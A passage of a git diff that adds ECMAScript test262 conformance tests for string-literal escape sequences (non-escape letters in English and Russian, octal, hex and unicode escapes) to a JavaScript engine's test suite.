+ * @description NonEscapeSequence :: ENGLISH SMALL ALPHABET
+ */
+
+//CHECK#a-z without b, f, n, r, t, v, x, u
+var CharacterCode = [0x0061, 0x0063, 0x0064, 0x0065, 0x0067, 0x0068, 0x0069, 0x006A, 0x006B, 0x006C, 0x006D, 0x006F, 0x0070, 0x0071, 0x0073, 0x0077, 0x0079, 0x007A];
+var NonEscapeCharacter = ["\a", "\c", "\d", "\e", "\g", "\h", "\i", "\j", "\k", "\l", "\m", "\o", "\p", "\q", "\s", "\w", "\y", "\z"];
+for (var index = 0; index <= 17; index++) {
+ if (String.fromCharCode(CharacterCode[index]) !== NonEscapeCharacter[index]) {
+ $ERROR('#' + NonEscapeCharacter[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T4.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T4.js
new file mode 100644
index 000000000..19e61c5e1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T4.js
@@ -0,0 +1,86 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: NonEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.2_T4.js
+ * @description NonEscapeSequence :: ENGLISH SMALL ALPHABET
+ */
+
+//CHECK#a-z without b, f, n, r, t, v, x, u
+
+if ("a" !== "\a") {
+ $ERROR('#a');
+}
+
+if ("c" !== "\c") {
+ $ERROR('#c');
+}
+
+if ("d" !== "\d") {
+ $ERROR('#d');
+}
+
+if ("e" !== "\e") {
+ $ERROR('#e');
+}
+
+if ("g" !== "\g") {
+ $ERROR('#g');
+}
+
+if ("h" !== "\h") {
+ $ERROR('#h');
+}
+
+if ("i" !== "\i") {
+ $ERROR('#i');
+}
+
+if ("j" !== "\j") {
+ $ERROR('#j');
+}
+
+if ("k" !== "\k") {
+ $ERROR('#k');
+}
+
+if ("l" !== "\l") {
+ $ERROR('#l');
+}
+
+if ("m" !== "\m") {
+ $ERROR('#m');
+}
+
+
+if ("o" !== "\o") {
+ $ERROR('#o');
+}
+
+if ("p" !== "\p") {
+ $ERROR('#p');
+}
+
+if ("q" !== "\q") {
+ $ERROR('#q');
+}
+
+if ("s" !== "\s") {
+ $ERROR('#s');
+}
+
+if ("w" !== "\w") {
+ $ERROR('#w');
+}
+
+if ("y" !== "\y") {
+ $ERROR('#y');
+}
+
+if ("z" !== "\z") {
+ $ERROR('#z');
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T5.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T5.js
new file mode 100644
index 000000000..57c1b8efd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T5.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: NonEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.2_T5.js
+ * @description NonEscapeSequence :: RUSSIAN CAPITAL ALPHABET
+ */
+
+//CHECK#А-Я
+var CharacterCode = [0x0410, 0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0416, 0x0417, 0x0418, 0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F, 0x0420, 0x0421, 0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, 0x0428, 0x0429, 0x042A, 0x042B, 0x042C, 0x042D, 0x042E, 0x042F, 0x0401];
+var NonEscapeCharacter = ["\А", "\Б", "\В", "\Г", "\Д", "\Е", "\Ж", "\З", "\И", "\Й", "\К", "\Л", "\М", "\Н", "\О", "\П", "\Р", "\С", "\Т", "\У", "\Ф", "\Х", "\Ц", "\Ч", "\Ш", "\Щ", "\Ъ", "\Ы", "\Ь", "\Э", "\Ю", "\Я", "\Ё"];
+for (var index = 0; index <= 32; index++) {
+ if (String.fromCharCode(CharacterCode[index]) !== NonEscapeCharacter[index]) {
+ $ERROR('#' + NonEscapeCharacter[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T6.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T6.js
new file mode 100644
index 000000000..86e7ac2ca
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T6.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: NonEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.2_T6.js
+ * @description NonEscapeSequence :: RUSSIAN CAPITAL ALPHABET
+ */
+
+//CHECK#А-Я
+
+if ("А" !== "\А") {
+ $ERROR('#А');
+}
+
+if ("Б" !== "\Б") {
+ $ERROR('#Б');
+}
+
+if ("В" !== "\В") {
+ $ERROR('#В');
+}
+
+if ("Г" !== "\Г") {
+ $ERROR('#Г');
+}
+
+if ("Д" !== "\Д") {
+ $ERROR('#Д');
+}
+
+if ("Е" !== "\Е") {
+ $ERROR('#Е');
+}
+
+if ("Ж" !== "\Ж") {
+ $ERROR('#Ж');
+}
+
+if ("З" !== "\З") {
+ $ERROR('#З');
+}
+
+if ("И" !== "\И") {
+ $ERROR('#И');
+}
+
+if ("Й" !== "\Й") {
+ $ERROR('#Й');
+}
+
+if ("К" !== "\К") {
+ $ERROR('#К');
+}
+
+if ("Л" !== "\Л") {
+ $ERROR('#Л');
+}
+
+if ("М" !== "\М") {
+ $ERROR('#М');
+}
+
+if ("Н" !== "\Н") {
+ $ERROR('#Н');
+}
+
+if ("О" !== "\О") {
+ $ERROR('#О');
+}
+
+if ("П" !== "\П") {
+ $ERROR('#П');
+}
+
+if ("Р" !== "\Р") {
+ $ERROR('#Р');
+}
+
+if ("С" !== "\С") {
+ $ERROR('#С');
+}
+
+if ("Т" !== "\Т") {
+ $ERROR('#Т');
+}
+
+if ("У" !== "\У") {
+ $ERROR('#У');
+}
+
+if ("Ф" !== "\Ф") {
+ $ERROR('#Ф');
+}
+
+if ("Х" !== "\Х") {
+ $ERROR('#Х');
+}
+
+if ("Ц" !== "\Ц") {
+ $ERROR('#Ц');
+}
+
+if ("Ч" !== "\Ч") {
+ $ERROR('#Ч');
+}
+
+if ("Ш" !== "\Ш") {
+ $ERROR('#Ш');
+}
+
+if ("Щ" !== "\Щ") {
+ $ERROR('#Щ');
+}
+
+if ("Ъ" !== "\Ъ") {
+ $ERROR('#Ъ');
+}
+
+if ("Ы" !== "\Ы") {
+ $ERROR('#Ы');
+}
+
+if ("Ь" !== "\Ь") {
+ $ERROR('#Ь');
+}
+
+if ("Э" !== "\Э") {
+ $ERROR('#Э');
+}
+
+if ("Ю" !== "\Ю") {
+ $ERROR('#Ю');
+}
+
+if ("Я" !== "\Я") {
+ $ERROR('#Я');
+}
+
+if ("Ё" !== "\Ё") {
+ $ERROR('#Ё');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T7.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T7.js
new file mode 100644
index 000000000..78915dce4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T7.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: NonEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.2_T7.js
+ * @description NonEscapeSequence :: RUSSIAN SMALL ALPHABET
+ */
+
+//CHECK#а-я
+var CharacterCode = [0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F, 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F, 0x0451];
+var NonEscapeCharacter = ["\а", "\б", "\в", "\г", "\д", "\е", "\ж", "\з", "\и", "\й", "\к", "\л", "\м", "\н", "\о", "\п", "\р", "\с", "\т", "\у", "\ф", "\х", "\ц", "\ч", "\ш", "\щ", "\ъ", "\ы", "\ь", "\э", "\ю", "\я", "\ё"];
+for (var index = 0; index <= 32; index++) {
+ if (String.fromCharCode(CharacterCode[index]) !== NonEscapeCharacter[index]) {
+ $ERROR('#' + NonEscapeCharacter[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T8.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T8.js
new file mode 100644
index 000000000..3ef3f843e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T8.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: NonEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.2_T8.js
+ * @description NonEscapeSequence :: RUSSIAN SMALL ALPHABET
+ */
+
+//CHECK#а-я
+
+if ("а" !== "\а") {
+ $ERROR('#а');
+}
+
+if ("б" !== "\б") {
+ $ERROR('#б');
+}
+
+if ("в" !== "\в") {
+ $ERROR('#в');
+}
+
+if ("г" !== "\г") {
+ $ERROR('#г');
+}
+
+if ("д" !== "\д") {
+ $ERROR('#д');
+}
+
+if ("е" !== "\е") {
+ $ERROR('#е');
+}
+
+if ("ж" !== "\ж") {
+ $ERROR('#ж');
+}
+
+if ("з" !== "\з") {
+ $ERROR('#з');
+}
+
+if ("и" !== "\и") {
+ $ERROR('#и');
+}
+
+if ("й" !== "\й") {
+ $ERROR('#й');
+}
+
+if ("к" !== "\к") {
+ $ERROR('#к');
+}
+
+if ("л" !== "\л") {
+ $ERROR('#л');
+}
+
+if ("м" !== "\м") {
+ $ERROR('#м');
+}
+
+if ("н" !== "\н") {
+ $ERROR('#н');
+}
+
+if ("о" !== "\о") {
+ $ERROR('#о');
+}
+
+if ("п" !== "\п") {
+ $ERROR('#п');
+}
+
+if ("р" !== "\р") {
+ $ERROR('#р');
+}
+
+if ("с" !== "\с") {
+ $ERROR('#с');
+}
+
+if ("т" !== "\т") {
+ $ERROR('#т');
+}
+
+if ("у" !== "\у") {
+ $ERROR('#у');
+}
+
+if ("ф" !== "\ф") {
+ $ERROR('#ф');
+}
+
+if ("х" !== "\х") {
+ $ERROR('#х');
+}
+
+if ("ц" !== "\ц") {
+ $ERROR('#ц');
+}
+
+if ("ч" !== "\ч") {
+ $ERROR('#ч');
+}
+
+if ("ш" !== "\ш") {
+ $ERROR('#ш');
+}
+
+if ("щ" !== "\щ") {
+ $ERROR('#щ');
+}
+
+if ("ъ" !== "\ъ") {
+ $ERROR('#ъ');
+}
+
+if ("ы" !== "\ы") {
+ $ERROR('#ы');
+}
+
+if ("ь" !== "\ь") {
+ $ERROR('#ь');
+}
+
+if ("э" !== "\э") {
+ $ERROR('#э');
+}
+
+if ("ю" !== "\ю") {
+ $ERROR('#ю');
+}
+
+if ("я" !== "\я") {
+ $ERROR('#я');
+}
+
+if ("ё" !== "\ё") {
+ $ERROR('#ё');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T1.js
new file mode 100644
index 000000000..96c823ee8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NonEscapeSequence is not EscapeCharacter
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.3_T1.js
+ * @description EscapeCharacter :: DecimalDigits :: 1
+ * @onlyStrict
+ * @negative
+ */
+
+"use strict";
+
+//CHECK#1
+"\1"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T2.js
new file mode 100644
index 000000000..b7f743e49
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NonEscapeSequence is not EscapeCharacter
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.3_T2.js
+ * @description EscapeCharacter :: DecimalDigits :: 7
+ * @onlyStrict
+ * @negative
+ */
+
+"use strict";
+
+//CHECK#1
+"\7"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T7.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T7.js
new file mode 100644
index 000000000..063930342
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.3_T7.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NonEscapeSequence is not EscapeCharacter
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.3_T7.js
+ * @description EscapeCharacter :: SingleEscapeCharacter :: one of b f n r t v
+ */
+
+//CHECK#bfnrtv
+if ("b" === "\b") {
+ $ERROR('#b');
+}
+
+if ("f" === "\f") {
+ $ERROR('#f');
+}
+
+if ("n" === "\n") {
+ $ERROR('#n');
+}
+
+if ("r" === "\r") {
+ $ERROR('#r');
+}
+
+if ("t" === "\t") {
+ $ERROR('#t');
+}
+
+if ("v" === "\v") {
+ $ERROR('#v');
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A5.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A5.1_T1.js
new file mode 100644
index 000000000..aa0acecb6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A5.1_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: 0
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A5.1_T1.js
+ * @description String.fromCharCode(0x0000)
+ */
+
+//CHECK#1
+if (String.fromCharCode(0x0000) !== "\0") {
+ $ERROR('#1: String.fromCharCode(0x0000) === "\\0"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A5.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A5.1_T2.js
new file mode 100644
index 000000000..06830f080
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A5.1_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: 0
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A5.1_T2.js
+ * @description "\u0000"
+ */
+
+//CHECK#1
+if ("\u0000" !== "\0") {
+ $ERROR('#1: "\\u0000" === "\\0"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A5.1_T3.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A5.1_T3.js
new file mode 100644
index 000000000..f7a1de6ac
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A5.1_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: 0
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A5.1_T3.js
+ * @description "\x00"
+ */
+
+//CHECK#1
+if ("\x00" !== "\0") {
+ $ERROR('#1: "\\x00" === "\\0"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.1_T1.js
new file mode 100644
index 000000000..ce8f5dae8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.1_T1.js
@@ -0,0 +1,90 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: HexEscapeSequence :: x HexDigit HexDigit
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A6.1_T1.js
+ * @description HexEscapeSequence :: HexDigit
+ */
+
+//CHECK#0
+if ("\x00" !== String.fromCharCode("0")) {
+ $ERROR('#0: "\\x00" === String.fromCharCode("0")');
+}
+
+//CHECK#1
+if ("\x01" !== String.fromCharCode("1")) {
+ $ERROR('#1: "\\x01" === String.fromCharCode("1")');
+}
+
+//CHECK#2
+if ("\x02" !== String.fromCharCode("2")) {
+ $ERROR('#2: "\\x02" === String.fromCharCode("2")');
+}
+
+//CHECK#3
+if ("\x03" !== String.fromCharCode("3")) {
+ $ERROR('#3: "\\x03" === String.fromCharCode("3")');
+}
+
+//CHECK#4
+if ("\x04" !== String.fromCharCode("4")) {
+ $ERROR('#4: "\\x04" === String.fromCharCode("4")');
+}
+
+//CHECK#5
+if ("\x05" !== String.fromCharCode("5")) {
+ $ERROR('#5: "\\x05" === String.fromCharCode("5")');
+}
+
+//CHECK#6
+if ("\x06" !== String.fromCharCode("6")) {
+ $ERROR('#6: "\\x06" === String.fromCharCode("6")');
+}
+
+//CHECK#7
+if ("\x07" !== String.fromCharCode("7")) {
+ $ERROR('#7: "\\x07" === String.fromCharCode("7")');
+}
+
+//CHECK#8
+if ("\x08" !== String.fromCharCode("8")) {
+ $ERROR('#8: "\\x08" === String.fromCharCode("8")');
+}
+
+//CHECK#9
+if ("\x09" !== String.fromCharCode("9")) {
+ $ERROR('#9: "\\x09" === String.fromCharCode("9")');
+}
+
+//CHECK#A
+if ("\x0A" !== String.fromCharCode("10")) {
+ $ERROR('#A: "\\x0A" === String.fromCharCode("10")');
+}
+
+//CHECK#B
+if ("\x0B" !== String.fromCharCode("11")) {
+ $ERROR('#B: "\\x0B" === String.fromCharCode("11")');
+}
+
+//CHECK#C
+if ("\x0C" !== String.fromCharCode("12")) {
+ $ERROR('#C: "\\x0C" === String.fromCharCode("12")');
+}
+
+//CHECK#D
+if ("\x0D" !== String.fromCharCode("13")) {
+ $ERROR('#D: "\\x0D" === String.fromCharCode("13")');
+}
+
+//CHECK#E
+if ("\x0E" !== String.fromCharCode("14")) {
+ $ERROR('#E: "\\x0E" === String.fromCharCode("14")');
+}
+
+//CHECK#F
+if ("\x0F" !== String.fromCharCode("15")) {
+ $ERROR('#F: "\\x0F" === String.fromCharCode("15")');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.1_T2.js
new file mode 100644
index 000000000..64cdc0ebe
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.1_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: HexEscapeSequence :: x HexDigit HexDigit
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A6.1_T2.js
+ * @description HexEscapeSequence :: ENGLISH CAPITAL ALPHABET
+ */
+
+//CHECK#A-Z
+var hex = ["\x41", "\x42", "\x43", "\x44", "\x45", "\x46", "\x47", "\x48", "\x49", "\x4A", "\x4B", "\x4C", "\x4D", "\x4E", "\x4F", "\x50", "\x51", "\x52", "\x53", "\x54", "\x55", "\x56", "\x57", "\x58", "\x59", "\x5A"];
+var character = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"];
+for (var index = 0; index <= 25; index++) {
+ if (hex[index] !== character[index]) {
+ $ERROR('#' + character[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.1_T3.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.1_T3.js
new file mode 100644
index 000000000..c3ef6e4d3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.1_T3.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: HexEscapeSequence :: x HexDigit HexDigit
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A6.1_T3.js
+ * @description HexEscapeSequence :: ENGLISH SMALL ALPHABET
+ */
+
+//CHECK#a-z
+var hex = ["\x61", "\x62", "\x63", "\x64", "\x65", "\x66", "\x67", "\x68", "\x69", "\x6A", "\x6B", "\x6C", "\x6D", "\x6E", "\x6F", "\x70", "\x71", "\x72", "\x73", "\x74", "\x75", "\x76", "\x77", "\x78", "\x79", "\x7A"];
+var character = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"];
+for (var index = 0; index <= 25; index++) {
+ if (hex[index] !== character[index]) {
+ $ERROR('#' + character[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.3_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.3_T1.js
new file mode 100644
index 000000000..4611ba25a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A6.3_T1.js
@@ -0,0 +1,85 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * \x HexDigit HexDigit SingleStringCharacter
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A6.3_T1.js
+ * @description Check similar to ('\x01F' === String.fromCharCode('1') + 'F')
+ */
+
+//CHECK#1
+if ('\x01F' !== String.fromCharCode('1') + 'F') {
+ $ERROR("#1: '\x01F' === String.fromCharCode('1') + 'F'");
+}
+
+//CHECK#2
+if ('\x02E' !== String.fromCharCode('2') + 'E') {
+ $ERROR("#2: '\x02E' === String.fromCharCode('2') + 'E'");
+}
+
+//CHECK#3
+if ('\x03D' !== String.fromCharCode('3') + 'D') {
+ $ERROR("#3: '\x03D' === String.fromCharCode('3') + 'D'");
+}
+
+//CHECK#4
+if ('\x04C' !== String.fromCharCode('4') + 'C') {
+ $ERROR("#4: '\x04C' === String.fromCharCode('4') + 'C'");
+}
+
+//CHECK#5
+if ('\x05B' !== String.fromCharCode('5') + 'B') {
+ $ERROR("#5: '\x05B' === String.fromCharCode('5') + 'B'");
+}
+
+//CHECK#6
+if ('\x06A' !== String.fromCharCode('6') + 'A') {
+ $ERROR("#6: '\x06A' === String.fromCharCode('6') + 'A'");
+}
+
+//CHECK#7
+if ('\x079' !== String.fromCharCode('7') + '9') {
+ $ERROR("#7: '\x079' === String.fromCharCode('7') + '9'");
+}
+
+//CHECK#8
+if ('\x088' !== String.fromCharCode('8') + '8') {
+ $ERROR("#8: '\x088' === String.fromCharCode('8') + '8'");
+}
+
+//CHECK#9
+if ('\x097' !== String.fromCharCode('9') + '7') {
+ $ERROR("#9: '\x097' === String.fromCharCode('9') + '7'");
+}
+
+//CHECK#A
+if ('\x0A6' !== String.fromCharCode('10') + '6') {
+ $ERROR("#A: '\x0A6' === String.fromCharCode('10') + '6'");
+}
+
+//CHECK#B
+if ('\x0B5' !== String.fromCharCode('11') + '5') {
+ $ERROR("#B: '\x0B5' === String.fromCharCode('11') + '5'");
+}
+
+//CHECK#C
+if ('\x0C4' !== String.fromCharCode('12') + '4') {
+ $ERROR("#C: '\x0C4' === String.fromCharCode('12') + '4'");
+}
+
+//CHECK#D
+if ('\x0D3' !== String.fromCharCode('13') + '3') {
+ $ERROR("#D: '\x0D3' === String.fromCharCode('13') + '3'");
+}
+
+//CHECK#E
+if ('\x0E2' !== String.fromCharCode('14') + '2') {
+ $ERROR("#E: '\x0E2' === String.fromCharCode('14') + '2'");
+}
+
+//CHECK#F
+if ('\x0F1' !== String.fromCharCode('15') + '1') {
+ $ERROR("#F: '\x0F1' === String.fromCharCode('15') + '1'");
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T1.js
new file mode 100644
index 000000000..512de11f2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T1.js
@@ -0,0 +1,90 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: UnicodeEscapeSequence :: u HexDigit HexDigit HexDigit HexDigit
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.1_T1.js
+ * @description Check similar to ("\u0000" === String.fromCharCode("0"))
+ */
+
+//CHECK#0
+if ("\u0000" !== String.fromCharCode("0")) {
+ $ERROR('#0: "\\u0000" === String.fromCharCode("0")');
+}
+
+//CHECK#1
+if ("\u0001" !== String.fromCharCode("1")) {
+ $ERROR('#1: "\\u0001" === String.fromCharCode("1")');
+}
+
+//CHECK#2
+if ("\u0002" !== String.fromCharCode("2")) {
+ $ERROR('#2: "\\u0002" === String.fromCharCode("2")');
+}
+
+//CHECK#3
+if ("\u0003" !== String.fromCharCode("3")) {
+ $ERROR('#3: "\\u0003" === String.fromCharCode("3")');
+}
+
+//CHECK#4
+if ("\u0004" !== String.fromCharCode("4")) {
+ $ERROR('#4: "\\u0004" === String.fromCharCode("4")');
+}
+
+//CHECK#5
+if ("\u0005" !== String.fromCharCode("5")) {
+ $ERROR('#5: "\\u0005" === String.fromCharCode("5")');
+}
+
+//CHECK#6
+if ("\u0006" !== String.fromCharCode("6")) {
+ $ERROR('#6: "\\u0006" === String.fromCharCode("6")');
+}
+
+//CHECK#7
+if ("\u0007" !== String.fromCharCode("7")) {
+ $ERROR('#7: "\\u0007" === String.fromCharCode("7")');
+}
+
+//CHECK#8
+if ("\u0008" !== String.fromCharCode("8")) {
+ $ERROR('#8: "\\u0008" === String.fromCharCode("8")');
+}
+
+//CHECK#9
+if ("\u0009" !== String.fromCharCode("9")) {
+ $ERROR('#9: "\\u0009" === String.fromCharCode("9")');
+}
+
+//CHECK#A
+if ("\u000A" !== String.fromCharCode("10")) {
+ $ERROR('#A: "\\u000A" === String.fromCharCode("10")');
+}
+
+//CHECK#B
+if ("\u000B" !== String.fromCharCode("11")) {
+ $ERROR('#B: "\\u000B" === String.fromCharCode("11")');
+}
+
+//CHECK#C
+if ("\u000C" !== String.fromCharCode("12")) {
+ $ERROR('#C: "\\u000C" === String.fromCharCode("12")');
+}
+
+//CHECK#D
+if ("\u000D" !== String.fromCharCode("13")) {
+ $ERROR('#D: "\\u000D" === String.fromCharCode("13")');
+}
+
+//CHECK#E
+if ("\u000E" !== String.fromCharCode("14")) {
+ $ERROR('#E: "\\u000E" === String.fromCharCode("14")');
+}
+
+//CHECK#F
+if ("\u000F" !== String.fromCharCode("15")) {
+ $ERROR('#F: "\\u000F" === String.fromCharCode("15")');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T2.js
new file mode 100644
index 000000000..32c6c3455
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: UnicodeEscapeSequence :: u HexDigit HexDigit HexDigit HexDigit
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.1_T2.js
+ * @description UnicodeEscapeSequence :: ENGLISH CAPITAL ALPHABET
+ */
+
+//CHECK#A-Z
+var unicode = ["\u0041", "\u0042", "\u0043", "\u0044", "\u0045", "\u0046", "\u0047", "\u0048", "\u0049", "\u004A", "\u004B", "\u004C", "\u004D", "\u004E", "\u004F", "\u0050", "\u0051", "\u0052", "\u0053", "\u0054", "\u0055", "\u0056", "\u0057", "\u0058", "\u0059", "\u005A"];
+var character = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"];
+for (var index = 0; index <= 25; index++) {
+ if (unicode[index] !== character[index]) {
+ $ERROR('#' + character[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T3.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T3.js
new file mode 100644
index 000000000..7bf3ef85c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T3.js
@@ -0,0 +1,19 @@
